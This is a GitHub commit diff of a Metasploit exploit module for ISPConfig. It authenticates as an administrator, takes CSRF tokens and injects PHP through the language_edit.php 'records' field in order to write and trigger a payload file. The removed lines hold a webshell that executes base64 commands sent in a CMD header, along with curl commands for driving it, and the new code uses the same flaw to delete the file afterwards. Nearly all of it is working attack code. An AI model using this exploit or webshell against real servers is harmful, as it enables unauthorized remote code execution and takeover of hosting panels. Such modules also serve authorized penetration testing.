Skip to content

Commit 016f4ea

Browse files
committed
resolved: issues
1 parent d787444 commit 016f4ea

File tree

1 file changed

+69
-91
lines changed

1 file changed

+69
-91
lines changed

modules/exploits/linux/http/ispconfig_lang_edit_php_code_injection.rb

Lines changed: 69 additions & 91 deletions
Original file line numberDiff line numberDiff line change
@@ -58,21 +58,16 @@ def initialize(info = {})
5858
OptString.new('USERNAME', [true, 'ISPConfig administrator username']),
5959
OptString.new('PASSWORD', [true, 'ISPConfig administrator password'])
6060
])
61-
62-
register_advanced_options([
63-
OptInt.new('LOGIN_TIMEOUT', [true, 'Timeout for login request', 15]),
64-
OptBool.new('DELETE_SHELL', [true, 'Delete webshell after session', true])
65-
])
6661
end
6762

6863
def check
69-
print_status('Checking if target is ISPConfig...')
64+
print_status('Checking if the target is ISPConfig...')
7065
res = send_request_cgi({
7166
'method' => 'GET',
72-
'uri' => normalize_uri(target_uri.path, 'login', '')
67+
'uri' => normalize_uri(target_uri.path, 'login')
7368
})
7469
return CheckCode::Unknown unless res
75-
if res.body.include?('ISPConfig') || res.body.include?('ispconfig')
70+
if res.body.include?('ISPConfig') && (res.body.include?('login') || res.body.include?('username') || res.body.include?('password'))
7671
print_good('ISPConfig installation detected')
7772
return CheckCode::Detected
7873
end
@@ -83,14 +78,14 @@ def authenticate
8378
print_status("Attempting login with username '#{datastore['USERNAME']}' and password '#{datastore['PASSWORD']}'")
8479
res = send_request_cgi({
8580
'method' => 'POST',
86-
'uri' => normalize_uri(target_uri.path, 'login', ''),
81+
'uri' => normalize_uri(target_uri.path, 'login'),
8782
'vars_post' => {
8883
'username' => datastore['USERNAME'],
8984
'password' => datastore['PASSWORD'],
9085
's_mod' => 'login'
9186
},
9287
'keep_cookies' => true
93-
}, datastore['LOGIN_TIMEOUT'])
88+
})
9489
fail_with(Failure::NoAccess, 'Login request failed') unless res
9590
if res.body.match(/Username or Password wrong/i)
9691
fail_with(Failure::NoAccess, 'Login failed: Invalid credentials')
@@ -104,24 +99,12 @@ def authenticate
10499
true
105100
end
106101

107-
def generate_random_string(length = 10)
108-
charset = ('a'..'z').to_a
109-
Array.new(length) { charset.sample }.join
110-
end
111-
112-
def generate_shell_code
113-
print_status('Generating PHP payload...')
102+
def inject_payload
103+
print_status('Injecting PHP payload...')
104+
@payload_file = "#{Rex::Text.rand_text_alpha_lower(8)}.php"
114105
php_payload = payload.encoded
115-
php_shell = %Q{<?php\nprint('____SHELL_START____');\nif(isset($_SERVER['HTTP_CMD'])) {\n $cmd = base64_decode($_SERVER['HTTP_CMD']);\n if($cmd == 'PAYLOAD_TRIGGER') {\n #{php_payload}\n } elseif($cmd) {\n passthru($cmd);\n }\n} else {\n #{php_payload}\n}\nprint('____SHELL_END____');\n?>}
116-
Rex::Text.encode_base64(php_shell)
117-
end
118-
119-
def inject_shell
120-
print_status('Injecting PHP shell...')
121-
@shell_file = "sh_#{generate_random_string}.php"
122-
php_code = generate_shell_code
123-
injection = "'];file_put_contents('#{@shell_file}',base64_decode('#{php_code}'));die;#"
124-
lang_file = generate_random_string + ".lng"
106+
injection = "'];file_put_contents('#{@payload_file}','<?php #{php_payload} ?>');die;#"
107+
lang_file = Rex::Text.rand_text_alpha_lower(10) + ".lng"
125108
edit_url = normalize_uri(target_uri.path, 'admin', 'language_edit.php')
126109
initial_data = {
127110
'lang' => 'en',
@@ -133,7 +116,7 @@ def inject_shell
133116
'uri' => edit_url,
134117
'vars_post' => initial_data,
135118
'keep_cookies' => true
136-
}, 10)
119+
})
137120
fail_with(Failure::UnexpectedReply, 'Unable to access language_edit.php') unless res
138121
csrf_id_match = res.body.match(/_csrf_id" value="([^"]+)"/)
139122
csrf_key_match = res.body.match(/_csrf_key" value="([^"]+)"/)
@@ -142,7 +125,7 @@ def inject_shell
142125
end
143126
csrf_id = csrf_id_match[1]
144127
csrf_key = csrf_key_match[1]
145-
print_good("CSRF tokens extracted: ID=#{csrf_id[0..10]}..., KEY=#{csrf_key[0..10]}...")
128+
print_good("Extracted CSRF tokens: ID=#{csrf_id[0..10]}..., KEY=#{csrf_key[0..10]}...")
146129
injection_data = {
147130
'lang' => 'en',
148131
'module' => 'help',
@@ -156,82 +139,77 @@ def inject_shell
156139
'uri' => edit_url,
157140
'vars_post' => injection_data,
158141
'keep_cookies' => true
159-
}, 10)
142+
})
160143
fail_with(Failure::UnexpectedReply, 'Injection request failed') unless res
161-
shell_url = normalize_uri(target_uri.path, 'admin', @shell_file)
162-
print_status('Verifying shell injection...')
144+
payload_url = normalize_uri(target_uri.path, 'admin', @payload_file)
145+
print_good("Payload successfully injected: #{@payload_file}")
146+
return payload_url
147+
end
148+
149+
def trigger_payload(payload_url)
150+
print_status('Triggering PHP payload...')
151+
# Small delay to ensure the file is written
152+
sleep(1)
163153
res = send_request_cgi({
164154
'method' => 'GET',
165-
'uri' => shell_url,
155+
'uri' => payload_url,
166156
'keep_cookies' => true
167-
}, 5)
168-
if res && res.body.include?('SHELL_START') && res.body.include?('SHELL_END')
169-
print_good("Shell successfully injected: #{@shell_file}")
170-
register_file_for_cleanup(@shell_file) if datastore['DELETE_SHELL']
171-
return shell_url
157+
})
158+
if res && res.code == 200
159+
print_good('PHP payload triggered successfully')
172160
else
173-
fail_with(Failure::UnexpectedReply, 'Shell injection failed or shell not accessible')
161+
print_warning('Payload trigger response was unexpected')
174162
end
175163
end
176164

177-
def execute_command(command, shell_uri = nil)
178-
return nil unless @shell_file
179-
shell_url = shell_uri || normalize_uri(target_uri.path, 'admin', @shell_file)
180-
encoded_cmd = Rex::Text.encode_base64(command)
165+
def cleanup
166+
return unless @payload_file
167+
print_status('Cleaning up payload file...')
168+
# Use the same vulnerability to delete the file
169+
injection = "'];unlink('#{@payload_file}');die;#"
170+
lang_file = Rex::Text.rand_text_alpha_lower(10) + ".lng"
171+
edit_url = normalize_uri(target_uri.path, 'admin', 'language_edit.php')
172+
initial_data = {
173+
'lang' => 'en',
174+
'module' => 'help',
175+
'lang_file' => lang_file
176+
}
181177
res = send_request_cgi({
182-
'method' => 'GET',
183-
'uri' => shell_url,
184-
'headers' => {
185-
'CMD' => encoded_cmd
186-
},
178+
'method' => 'POST',
179+
'uri' => edit_url,
180+
'vars_post' => initial_data,
187181
'keep_cookies' => true
188-
}, 15)
189-
return nil unless res
190-
output_match = res.body.match(/____SHELL_START____(.*?)____SHELL_END____/m)
191-
return output_match[1] if output_match
192-
nil
193-
end
194-
195-
def trigger_payload(shell_uri)
196-
print_status('Triggering PHP payload...')
197-
framework.threads.spawn('PayloadTrigger', false) do
198-
send_request_cgi({
199-
'method' => 'GET',
200-
'uri' => shell_uri,
201-
'keep_cookies' => true
202-
}, 10)
203-
end
204-
framework.threads.spawn('PayloadTriggerManual', false) do
205-
select(nil, nil, nil, 2)
206-
execute_command('PAYLOAD_TRIGGER', shell_uri)
207-
end
208-
print_good('PHP payload triggered')
182+
})
183+
return unless res
184+
csrf_id_match = res.body.match(/_csrf_id" value="([^"]+)"/)
185+
csrf_key_match = res.body.match(/_csrf_key" value="([^"]+)"/)
186+
return unless csrf_id_match && csrf_key_match
187+
csrf_id = csrf_id_match[1]
188+
csrf_key = csrf_key_match[1]
189+
injection_data = {
190+
'lang' => 'en',
191+
'module' => 'help',
192+
'lang_file' => lang_file,
193+
'_csrf_id' => csrf_id,
194+
'_csrf_key' => csrf_key,
195+
'records[\\]' => injection
196+
}
197+
send_request_cgi({
198+
'method' => 'POST',
199+
'uri' => edit_url,
200+
'vars_post' => injection_data,
201+
'keep_cookies' => true
202+
})
203+
print_good("Payload file #{@payload_file} cleaned up")
209204
end
210205

211206
def exploit
212207
authenticate
213-
shell_uri = inject_shell
208+
payload_url = inject_payload
214209
print_status('Starting payload handler...')
215-
trigger_payload(shell_uri)
216-
print_status('Waiting for session...')
217-
select(nil, nil, nil, 5)
218-
if framework.sessions.length == 0
219-
print_warning('No session established automatically')
220-
print_status('Testing shell functionality...')
221-
output = execute_command('id', shell_uri)
222-
if output
223-
print_good("Shell responsive: #{output.strip}")
224-
print_line("\n" + '=' * 60)
225-
print_status('Shell Access Information:')
226-
print_line("URL: #{full_uri}#{shell_uri}")
227-
print_line("Usage: Send base64 encoded commands via 'CMD' HTTP header")
228-
print_line("Manual trigger: curl '#{full_uri}#{shell_uri}'")
229-
print_line("Command example: curl -H 'CMD: #{Rex::Text.encode_base64('id')}' '#{full_uri}#{shell_uri}'")
230-
print_line('=' * 60)
231-
else
232-
print_error('Shell test failed')
233-
print_line("Manual test: curl '#{full_uri}#{shell_uri}'")
234-
end
235-
end
210+
trigger_payload(payload_url)
211+
print_status('Manual trigger information:')
212+
print_line("URL: #{full_uri}#{payload_url}")
213+
print_line("Manual trigger: curl '#{full_uri}#{payload_url}'")
236214
end
237215
end

0 commit comments

Comments
 (0)